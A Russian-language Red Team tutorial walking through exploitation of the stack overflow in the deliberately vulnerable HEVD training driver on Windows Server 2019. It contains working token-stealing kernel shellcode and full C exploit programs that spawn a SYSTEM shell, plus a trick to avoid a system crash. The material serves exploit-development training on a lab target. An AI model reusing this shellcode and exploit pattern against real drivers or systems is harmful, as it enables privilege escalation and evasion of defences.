ENG

На связи команда Red Team из Angara Security. Она предлагает немного погрузиться в основы одной из дисциплин, которая является фундаментом любого Malware и Exploit Development. Эти два направления критично важны для проведения Red Team ассессментов, если вы хотите имитировать действительно скилловых злоумышленников, обходить средства защиты и получать необходимый результат, оставаясь незамеченным для средств мониторинга и служб реагирования на инциденты.

Одним из действенных способов взаимодействия с операционной системой в обход средств защиты является эксплуатация уязвимостей в драйверах ОС. Это могут быть как системные, так и проприетарные драйверы, которые можно установить на скомпрометированную ОС. К примеру, в нашем арсенале есть ряд инструментов, позволяющих эксплуатировать эти уязвимости, закреплять свое присутствие в системе, а также получать критичные данные из памяти системных процессов. Но прежде чем заниматься поиском и эксплуатацией уязвимостей в драйверах, нужно уметь выполнять базовые действия и потренироваться на специально подготовленных драйверах.

Данная статья рассчитана на тех, кто только начинает свой путь в MalDev и ExploitDev и имеет базовые знания в реверс‑инжиниринге. А в качестве «подопытного» будет рассматриваться HackSys Extreme Vulnerable Driver (HEVD), в котором мы рассмотрим эксплуатацию классической уязвимости — Stack Overflow. Однако эта статья не совсем простая. В других доступных статьях из открытых источниках рассматриваются совсем базовые примеры передачи управления из шеллкода обратно в код драйвера, что в современных ОС (например, Windows Server 2019) вызывает BSOD. А нам такое на реальных проектах не нужно: мы же не хотим уронить важный сервер в процессе работ:). Поэтому "фишкой" этой статьи станет одно из предложений по решению этой проблемы и корректному запуску шеллкода без остановки работы самого драйвера и падения системы.

Итак, если вы готовы продолжать читать эту статью и научиться эксплуатировать эту уязвимость, вам нужно:

  • иметь базовые знания в реверс‑инжиниринге и отладке (будет много про IDA и WinDbg)

  • иметь базовое представление о работе драйверов в ОС Windows

  • иметь желание прокачаться в эксплуатации уязвимостей в драйверах:)

Из инструментов вам понадобится:

  • 2 ВМ под управлением ОС Windows Server 2019 x64 (можно взять, например, GOAD)

  • IDA Free (или Pro, если у вас есть лицензия;) )

  • WinDbg

  • mingw

  • nasm

  • Удобная для вас IDE для редактирования кода (достаточно будет VS Code)

Готовы? Поехали! Постараемся рассказать все максимально лаконично, без воды и с упором на технические детали.

Основные сведения о драйверах

После первичной инициализации драйвера управление передаётся на функцию DriverEntry, которая выполняет следующие действия:

  • получает в качестве параметра указатель на структуру DRIVER_OBJECT, созданную и частично инициализированную системой;

  • завершает инициализацию DRIVER_OBJECT, в том числе заполняет массив MajorFunction состоящий из адресов функций, вызываемых системой в ответ на определенные действия приложения или устройства;

  • вызывает функцию IoCreateDevice() для создания объектов устройств, которыми управляет драйвер;

  • вызывает функцию IoCreateSymbolicLink() для создания символической ссылки на объект устройства для обеспечения возможности взаимодействия с драйвером программ пользовательского режима.

Обычно основной функционал драйвера реализован через функции содержащиеся в массиве MajorFunction. Основной способ взаимодействия драйвера с системой, другими драйверами и пользовательскими приложениями заключается в обмене специальными пакетами данных — I/O Request Packet (IRP). Помимо прочего, эти пакеты содержат код функции, которую необходимо выполнить, указатель на буфер данных передаваемых этой функции и указатель на буфер, в который драйвер поместит результат своей работы. Драйвер может завершить обработку полученного IRP, вызвав одну из трех функций:

  • IoCompleteRequest — полностью завершает обработку IRP и возвращает результат отправившему запрос коду;

  • IoMarkIrpPending — помещает IRP в очередь для последующей обработки другими драйверами или системой;

  • IoCallDriver — передача IRP другому драйверу.

Описание упрощенное, но для понимания статьи достаточное. Приведем пример кода минимального драйвера:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
//DriverObject адрес объекта драйвера;
//RegistryPath путь в реестре, где содержится информация о драйвере.
{
NTSTATUS status;
PDEVICE_OBJECT fdo;
UNICODE_STRING devName;
UNICODE_STRING devLink;

for (i = 0; i < IRP_MJ_MAXIMUM_Function; i++)
DriverObject->MajorFunction[i] = MyDefaultHandler;

DriverObject->DriverUnload = DriverUnload;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControl;

RtlInitUnicodeString(&devName,L"\\Device\\DeviceName1");
status = IoCreateDevice(DriverObject, sizeof(PDEVICE_OBJECT), &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &fdo);
if(!NT_SUCCESS(status))
return status;

RtlInitUnicodeString(&devLink,L"\\??\\DeviceName1");
status = IoCreateSymbolicLink(&devLink,&devName);
if(!NT_SUCCESS(status))
{
IoDeleteDevice(fdo);
return status;
}

return STATUS_SUCCESS;
}

NTSTATUS DriverCreate(IN PDEVICE_OBJECT fdo, IN PIRP irp)
{
irp->IoStatus.Status = STATUS_SUCCESS;
irp->IoStatus.Information = 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}

NTSTATUS DriverClose(IN PDEVICE_OBJECT fdo, IN PIRP irp)
{
irp->IoStatus.Status = STATUS_SUCCESS;
irp->IoStatus.Information = 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}

NTSTATUS DriverControl(IN PDEVICE_OBJECT fdo, IN PIRP irp)
{
irp->IoStatus.Status = STATUS_SUCCESS;
irp->IoStatus.Information = 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}

VOID DriverUnload(IN PDRIVER_OBJECT fdo)
{
UNICODE_STRING deviceLink;
RtlInitUnicodeString(&deviceLink,L"\\??\\DeviceName1");
IoDeleteSymbolicLink(&deviceLink);
IoDeleteDevice(fdo->DeviceObject);
}
Объяснить с

Настройка WinDbg для работы с ядром

Для отладки драйверов в Windows чаще всего применяется отладчик WinDbg. Для работы с ним удобно использовать стенд состоящий из двух виртуальных машин под управлением ОС Windows:

VM

Описание

IP адрес

TARGET

Машина на которой загружается исследуемый драйвер

Любой адрес

HOST

Машина, на которой работает WinDbg и к которой будет подключаться целевая машина (Target)

192.168.56.10


WinDbg настраивается для подключения через сеть, что позволяет использовать один алгоритм настройки независимо от платформы виртуализации — VirtualBox, Qemu/KVM, VMWare и так далее

Настроим машину TARGET. Выполним следующие команды в CMD с правами локального администратора:

bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.56.10 port:50000 key:1.1.1.1
shutdown -r -t 0
Объяснить с

Далее загрузим наш уязвимый драйвер (предварительно скачав его и положив в папку C:\Windows\System32):

sc create bin= c:\windows\system32\hevd.sys
sc start hevd
Объяснить с

Далее на машине HOST установим и запустим WinDbg. Запускаем в режиме отладки ядра: File -> Attach to Kernel -> Net, а также указываем порт 50 000 и ключ, ранее заданные на машине TARGET.

1.jpg

Настройка WinDbg

Анализ драйвера HEVD

Запускаем на своем хосте (или на виртуальной машине HOST) IDA Pro и открываем файл исследуемого драйвера: File -> Open, выбираем файл hevd.sys

2.jpg

Выбор файла драйвера в IDA Pro

Далее, оставляем все по умолчанию

4.jpg

Оставляем как есть

На выпадающее предложение загрузить PDB‑файл (если такое предложит IDA) жмем Yes

5.jpg

Соглашаемся

И попадаем на точку входа — функцию из которой вызывается DriverEntry

6.png

Точка входа

Отсюда переходим на DriverEntry

7.jpg

Функция DriverEntry

В функции DriverEntry, по адресу 14008A092 находится код, который инициализирует массив MajorFunction значениями IrpNotImplementedHandler, IrpCreateCloseHandler и IrpDeviceIoControlHandler

8.png

Инициализация массива MajorFunction


Переходим на код функции IrpNotImplementedHandler. Её функционал сводится к вызову функции IoCompleteRequest, которая завершает IRP и интереса для нас не представляет.

9.png

Функция IrpNotImplementedHandler

Аналогично с функцией IrpCreateCloseHandle

10.png

Функция IrpCreateCloseHandle


Таким образом, основной функционал содержится в функции IrpDeviceIoControlHandler, которая представляет собой большой switch по IOCTL‑кодам, соответствующим реализованным в драйвере уязвимостям. Зелеными стрелками показаны IOCTL‑коды, красными — инструкции перехода.


11.png

Функция IrpDeviceIoControlHandler


Каждый case сопровождается строкой‑описанием уязвимости, выводящейся в консоль отладчика через DbgPrint и дающей возможность легко отыскать нужный блок кода в дизассемблере.

Блок кода, вызывающий уязвимую функцию BufferOverflowStackIoctlHandler.

12.png

Вызов функции BufferOverflowStackIoctlHandler

Определяем откуда на этот блок передаётся управление. Для этого ставим курсор на адрес 1400851FF и нажимаем Ctrl+x. В открывшемся окне выбираем единственную строку.

13.jpg

жмем OK или Enter и попадаем сюда:

14.png

Из этого кода следует, что функция, содержащая уязвимость Stack Buffer Overflow, вызывается из обработчика IOCTL 0x222003. Жмем ESC и возвращаемся обратно к началу уязвимого кода. Переходим в функцию BufferOverflowStackIoctlHandler, которая получает указатель на переданный пользователем буфер и его размер.

15.jpg

Функция BufferOverflowStackIoctlHandler

Далее переходим в функцию TriggerBufferOverflowStack, которая и содержит уязвимый код: на стеке выделяется 0x820 байт под локальные переменные (адрес 1400865С9), из которых массив из 0x800 байт заполняется нулями (адрес 1400865E8).

16.png

Функция TriggerBufferOverflowStack

После этого в заполненный нулями массив копируются данные из буфера (адрес 14008667E), указатель на который передан в качестве параметра функции TriggerBufferOverflowStack. Эта функция, в свою очередь, получает этот буфер из пользовательского приложения через вызов DeviceIoControl.

17.png


Функция TriggerBufferOverflowStack не проверяет размер переданного буфера перед копированием, что и приводит к уязвимости переполнения буфера в стеке и, соответственно, возможности переписать адрес возврата для функции TriggerBufferOverflowStack.


Краткое описание уязвимости переполнение буфера в стеке

При вызове функции F() вызывающая функция записывает адрес возврата Return Address (RA), по которому F() должна передать управление после своего завершения на вершину стека. Сама F() хранит в стеке свои локальные переменные. При этом стек растет в сторону младших адресов памяти. Таким образом, мы имеем:

Адрес

Содержимое

1112

RA

1108

var1

1104

var2

1000

buf[100]

Если скопировать в buf 100 байт — все нормально, 104 байта — будет перезаписана переменная var2, 112 байт — будет перезаписан адрес возврата RA. Подробнее можно ознакомиться, например, тут.


Эксплуатация переполнения буфера в стеке драйвера HEVD

Для демонстрации возможности переполнения буфера в стеке будем использовать следующий код (здесь и далее обработка ошибок для краткости пропущена):

#include <windows.h>

int main()
{
DWORD n = 0;
unsigned char buffer[0x1000] = { 0 };
memset(buffer, 'A', 0x1000);

HANDLE hDevice = CreateFile(
"\\\\.\\HacksysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
NULL);

DeviceIoControl(hDevice,
0x222003,
buffer,
sizeof(buffer),
0,
0,
&n,
0);

return 0;
}
Объяснить с

Данный код собирается следующей командой:

x86_64-w64-mingw32-g++ -o stack-overflow.exe stack-overflow.cppОбъяснить с

Код выделяет буфер размером 0x1000 байт, заполняет его символом 'A', затем получает хэндл устройства HEVD и передаёт выделенный буфер драйверу.

Размер выделяемого буфера в 0x1000 байт определяется объёмом памяти выделяемой функцией TriggerBufferOverflowStack под свои локальные переменные.

Запуск кода приводит к ошибке, которую перехватывает WinDbg (если отладчик не подключен система уходит в синий экран):

18.jpg

Ошибка Access Violation

Вывод содержимого регистров и стека показывает, что причина сбоя заключается в замене адреса возврата в стеке значением 4141414141414141, которое совпадает с содержанием переданного буфера:

19.jpg

Результат переполнения стека

Определение смещения адреса возврата в передаваемом буфере

Функция TriggerBufferOverflowStack сначала помещает в стек три qword'а командами push (адреса: 1400865С3, 1400865С5, 1400865С7) затем указатель стека смещается на 0x820 командой sub (адрес 1400865С9).

Таким образом, указатель стека смещен относительно адреса возврата на 3 * sizeof(qword) + 0x820 = 0x838, а буфер‑приемник начинается по адресу rsp+0x20 (адрес 1400865СE3).

20.jpg


Заменив в нашем коде 7 строку на:

memset(buffer, 'A', 2072);
memset(buffer + 2072, 'B', 8);
Объяснить с

При повторном запуске эксплойта получим:

21.jpg

Измененный адрес возврата

Теперь адрес возврата равен 4242424242424242, то есть смещение рассчитано верно и можно передавать управление на нужный шеллкод.

Фрагмент занятый символом B необходимо заменить адресом шеллкода, который будет повышать привилегии вызывающего процесса до SYSTEM.

Повышение привилегий

Все процессы в Windows описываются недокументированной структурой EPROCESS, поля которой можно посмотреть в windbg командой dt _EPROCESS.

22.jpg

Структура EPROCESS

Нас интересует смещение поля Token (+0x358)

23.jpg

Обрати внимание

Значения смещений полей в недокументированных структурах может различаться для конкретных систем. Актуальные значения можно получить с помощью WinDbg командой dt _EPROCESS:

24.jpg


Это поле представляет собой указатель на блок данных, который предоставляется процессом LSASS и описывает права доступа и привилегии процесса. Токен пользователя SYSTEM даёт разрешение на полный доступ ко всем системным объектам: файлам, процессам, каналам, устройствам и тому подобное

Когда Windows запускается создаётся процесс System (pid=4), который выполняется от имени пользователя SYSTEM. Таким образом, если подменить токен произвольного процесса токеном процесса System, то этот процесс получит все системные права и привилегии.

Попробуем проэксплуатировать уязвимость на виртуальной машине лабы GOAD. На любой виртуальной машине из лабы с ОС Windows Server 2019 запускаем процесс cmd.exe от имени непривилегированного пользователя (например, robb.stark)

25.jpg

Запущенная консоль от непривилегированного пользователя

Выводим адреса EPROCESS для процессов system и cmd.exe. Видим, что адрес EPROCESS для процесса System‑ ffffb8856a04e2c0, а адрес EPROCESS для процесса cmd.exe — ffffb8856e216080. Получаем адрес, где содержится токен процесса System командой dq ffffb8856a04e2c0 + 358 l1 (358 — смещение поля Token, которое нам интересно). Получаем адрес токена — ffffdf8b68006043. Подменяем в EPROCESS процесса cmd.exe адрес токена на адрес токена из процесса System командой eq ffffb8856e216080 + 358 ffffdf8b68006043.

26.jpg

Убеждаемся, что процесс cmd.exe получил системные привилегии:

27.jpg

Мы успешно повысили привилегии

Реализация описанных действий через шеллкод:

steal-token.asm
<start>:
mov rax,QWORD PTR gs:0x188 ;rax = указатель на KTHREAD
mov rax,QWORD PTR [rax+0x98] ;rax = указатель на KAPC_STATE
mov rax,QWORD PTR [rax+0x20] ;rax = указатель на KPROCESS, который перекрывается EPROCESS
mov rcx,rax

<find_system_process>:
mov rax,QWORD PTR [rax+0x2e8] ;проход по списку всех процессов
sub rax,0x2e8
mov r9,QWORD PTR [rax+0x2e0] ;r9 = PID
cmp r9,0x4
jne <find_system_process> ;пока не будет найден процесс у которого PID=4 (System)

#подмена токена
mov rdx,QWORD PTR [rax+0x358] ;указатель на токен процесса System
and dl,0xf0
mov QWORD PTR [rcx+0x358],rdx ;замена указателя на токен текущего процесса указателем на токен процесса System
Объяснить с

Функция TriggerBufferOverflowStack возвращает управление в функцию BufferOverflowStackIoctlHandler по адресу 1400865AE.

28.jpg

Функция BufferOverflowStackIoctlHandler в свою очередь возвращает управление по адресу 140085253

29.jpg

Адрес возврата 1400865AE перезаписывается адресом шеллкода, поэтому возвращать управление из шеллкода будем на следующий, хранящийся в стеке, адрес возврата — 140085253. Для этого шеллкод необходимо завершить следующим кодом:

xor    rax,rax
add rsp,0x28
ret
Объяснить с

Собираем шеллкод следующей командой:

nasm -f win64 -o st.obj steal-token.asm && objdump -M intel -d st.objОбъяснить с

И используем для формирования данных передаваемых в драйвер:

void main()
{
unsigned char shellcode64[] = {
//<start>:
0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, //mov rax,QWORD PTR gs:0x188
0x48, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x98]
0x48, 0x8b, 0x40, 0x20, //mov rax,QWORD PTR [rax+0x20]
0x48, 0x89, 0xc1, //mov rcx,rax

//<find_system_process>:
0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x2e8]
0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00, //sub rax,0x2e8
0x4c, 0x8b, 0x88, 0xe0, 0x02, 0x00, 0x00, //mov r9,QWORD PTR [rax+0x2e0]
0x49, 0x83, 0xf9, 0x04, //cmp r9,0x4
0x75, 0xe6, //jne <find_system_process>

//<stealing>:
0x48, 0x8b, 0x90, 0x58, 0x03, 0x00, 0x00, //mov rdx,QWORD PTR [rax+0x358]
0x80, 0xe2, 0xf0, //and dl,0xf0
0x48, 0x89, 0x91, 0x58, 0x03, 0x00, 0x00, //mov QWORD PTR [rcx+0x358],rdx

//<cleanup>:
0x48, 0x31, 0xc0, //xor rax,rax
0x48, 0x83, 0xc4, 0x28, //add rsp,0x28
0xc3 //ret
};

LPVOID shellcode_buffer = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_buffer, shellcode64, sizeof(shellcode64));

size_t offset_len = 2072 - 24;
unsigned char *offset = (unsigned char*) malloc(offset_len);
memset(offset, 'A', offset_len);

unsigned char rip[8];
ULONG64 addr = (ULONG64) shellcode_buffer;
memcpy(rip, &addr, sizeof(addr));

unsigned char zero8[8] = { 0 };
unsigned char irpsp[8] = { 'B', 'B', 'B', 'B', 'B', 'B', 'B', 'B' };

size_t payload_len = offset_len + 8 + 8 + 8 + sizeof(rip);
unsigned char *payload = (unsigned char*) malloc(payload_len);
memcpy(payload, offset, offset_len);
memcpy(payload + offset_len, zero8, sizeof(zero8));
memcpy(payload + offset_len + sizeof(zero8), irpsp, sizeof(irpsp));
memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp), zero8, sizeof(zero8));
memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp) + sizeof(zero8), rip, sizeof(rip));

HANDLE hDevice = CreateFile(
"\\\\.\\HacksysExtremeVulnerableDriver",
devname,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

DWORD n = 0;
DeviceIoControl(
hDevice,
0x222003,
payload,
payload_len,
0,
0,
&n,
0);
}
Объяснить с

Запуск этого кода приводит к синему экрану. Причина ошибки в том, что при перезаписи адреса возврата функции TriggerBufferOverflowStack происходит перезапись ещё каких‑то важных данных находящихся выше по стеку.

30.jpg

Перезапись данных

В данном случае речь идёт об адресе FFFFB2084D5FDE30. Из анализа кода следует, что это указатель на текущий стек IRP. В общем случае, при отсутствии других уязвимостей, восстановить указатель невозможно. Поэтому рассмотрим другой способ.

Обрати внимание

В User mode классический шеллкод обычно запускает локальный или сетевой шелл, который работает в контексте уязвимого процессе, заменяя его функционал своим. Тот факт, что шеллкод не возвращает управление в уязвимый код из которого был вызван влияет только на уязвимый процесс и обычно не затрагивает остальную систему. Реализация LPE через уязвимый обработчик IOCTL представляет собой вызов функции в User mode, которая передаёт управление в Kernel mode, где выполняется полезная нагрузка (шеллкод). Эффект (повышение привилегий) распространяется только на вызывающий (уязвимый) процесс, поэтому, чтобы воспользоваться результатом работы полезной нагрузки, необходимо чтобы драйвер вернул управление назад в вызывающий процесс. В сети рассматривается несколько способов возврата управления из режима ядра, но на Windows Server 2019 x64 ни один из них не работает. Поэтому необходимо найти альтернативный метод

Возобновление работы системы после нарушения целостности стека обработчика IRP

Идея в следующем: после замены токена новые права получают все потоки исходного процесса и все процессы, созданные исходным после замены токена. Следовательно, необходимо реализовать следующую последовательность:

  1. создать процесс

  2. создать новый поток и поставить его на паузу

  3. в главном потоке передать в драйвер нагрузку, содержащую шеллкод, завершающийся бесконечным циклом

  4. в новом потоке создать процесс cmd.exe, который будет выполняться от имени SYSTEM

#include <windows.h>
#include <stdio.h>

DWORD WINAPI StartCmd(LPVOID)
{
Sleep(2000);

STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);

PROCESS_INFORMATION pi;
memset(&pi, 0, sizeof(pi));

CreateProcess(
"c:\\windows\\system32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi);
return 0;
}

void main()
{
unsigned char shellcode64[] = {
//<start>:
0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, //mov rax,QWORD PTR gs:0x188
0x48, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x98]
0x48, 0x8b, 0x40, 0x20, //mov rax,QWORD PTR [rax+0x20]
0x48, 0x89, 0xc1, //mov rcx,rax

//<find_system_process>:
0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x2e8]
0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00, //sub rax,0x2e8
0x4c, 0x8b, 0x88, 0xe0, 0x02, 0x00, 0x00, //mov r9,QWORD PTR [rax+0x2e0]
0x49, 0x83, 0xf9, 0x04, //cmp r9,0x4
0x75, 0xe6, //jne <find_system_process>

//<stealing>:
0x48, 0x8b, 0x90, 0x58, 0x03, 0x00, 0x00, //mov rdx,QWORD PTR [rax+0x358]
0x80, 0xe2, 0xf0, //and dl,0xf0
0x48, 0x89, 0x91, 0x58, 0x03, 0x00, 0x00, //mov QWORD PTR [rcx+0x358],rdx

//<infinite loop>:
0x90, //nop
0x90, //nop
0x90, //nop
0xeb, 0xfb //jmp infinite_loop
};

LPVOID shellcode_buffer = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_buffer, shellcode64, sizeof(shellcode64));

size_t offset_len = 2072 - 24;
unsigned char *offset = (unsigned char*) malloc(offset_len);
memset(offset, 'A', offset_len);

unsigned char rip[8];
ULONG64 addr = (ULONG64) shellcode_buffer;
memcpy(rip, &addr, sizeof(addr));

unsigned char zero8[8] = { 0 };
unsigned char irpsp[8] = { 'B', 'B', 'B', 'B', 'B', 'B', 'B', 'B' };

size_t payload_len = offset_len + 8 + 8 + 8 + sizeof(rip);
unsigned char *payload = (unsigned char*) malloc(payload_len);
memcpy(payload, offset, offset_len);
memcpy(payload + offset_len, zero8, sizeof(zero8));
memcpy(payload + offset_len + sizeof(zero8), irpsp, sizeof(irpsp));
memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp), zero8, sizeof(zero8));
memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp) + sizeof(zero8), rip, sizeof(rip));

CreateThread(0, 0, StartCmd, 0, 0, 0);

HANDLE hDevice = CreateFile(
"\\\\.\\HacksysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

DWORD n = 0;
DeviceIoControl(
hDevice,
0x222003,
payload,
payload_len,
0,
0,
&n,
0);
}
Объяснить с

Запускаем процесс от имени обычного пользователя:

31.jpg

Запускаем эксплоит и получаем шелл с правами SYSTEM:

32.jpg


В заключение

Итак, мы рассмотрели вариант эксплуатации уязвимости переполнения буфера в стеке драйвера на примере HEVD для Windows Server 2019 x64. Как вы могли заметить, основная сложность при эксплуатации этой уязвимости заключается в том, что описанные в сети методы возврата управления из шеллкода в драйвер приводят к падению системы. Это связано с тем, что при перезаписи адреса возврата повреждаются другие критически важные данные, сохранённые в стеке обработчика IRP.

Однако нам удалось применить технику с созданием нового пользовательского потока до передачи уязвимому IOCTL‑запросу. Это позволило завершить шеллкод бесконечным циклом и предотвратить обращение к испорченным данным. Новый поток делает паузу — в течение этого времени шеллкод гарантированно отработает и повысит права процесса до системных, а затем создаст процесс cmd.exe с правами SYSTEM. Такой подход позволяет успешно эксплуатировать уязвимость на современных версиях Windows без необходимости восстановления повреждённых структур стека драйвера.

Если вам понравилась статья и вы хотите рассмотреть ещё какие‑нибудь базовые вещи из направлений MalDev и ExploitDev — смело пишите в комментарии. Постараемся подготовить для вас ещё больше полезного и интересного контента. 

07.08.2026

Другие публикации

Сергей Шерстобитов: Самая уязвимая часть любого гаджета или системы — его пользователь

Главный редактор журнала «Мир безопасности» Дмитрий Каплин побеседовал с Сергеем Шерстобитовым, генеральным директором Angara Security

10.08.2026

Эксплуатация уязвимости Stack Overflow в драйверах Windows

На связи команда Red Team из Angara Security. Она предлагает немного погрузиться в основы одной из дисциплин, которая является фундаментом любого Malware и Exploit Development. Эти два направления критично важны для проведения Red Team ассессментов, если вы хотите имитировать действительно скилловых злоумышленников, обходить средства защиты и получать необходимый результат, оставаясь незамеченным для средств мониторинга и служб реагирования на инциденты.

07.08.2026

Единые стандарты ИБ для филиалов и дочерних обществ: локальные исключения без потери контроля

Управление информационной безопасностью в компаниях с распределённой структурой — головная боль для многих руководителей служб безопасности. Создать единый защищённый периметр — цель, которая выходит далеко за рамки разработки регламентов

04.08.2026

Поведенческий анализ в АСУ ТП: зачем UEBA промышленному мониторингу

Для промышленной среды недостаточно просто собрать логи и подключить несколько источников. Важно безопасно получить данные из технологического сегмента, не перегрузить каналы связи, учесть режимы работы площадок и не переложить всю кибербезопасность на инженеров АСУ ТП.

31.07.2026

SIEM в АСУ ТП: как построить мониторинг, который помогает производству, а не мешает

Подключить АСУ ТП к SIEM недостаточно, чтобы получить полноценный мониторинг безопасности. Промышленная инфраструктура требует иной архитектуры, других источников данных и тесной связи с технологическими процессами.

рекомендации

27.07.2026

Остались вопросы?

Понравилась статья?

Подпишитесь на уведомления о новых материалах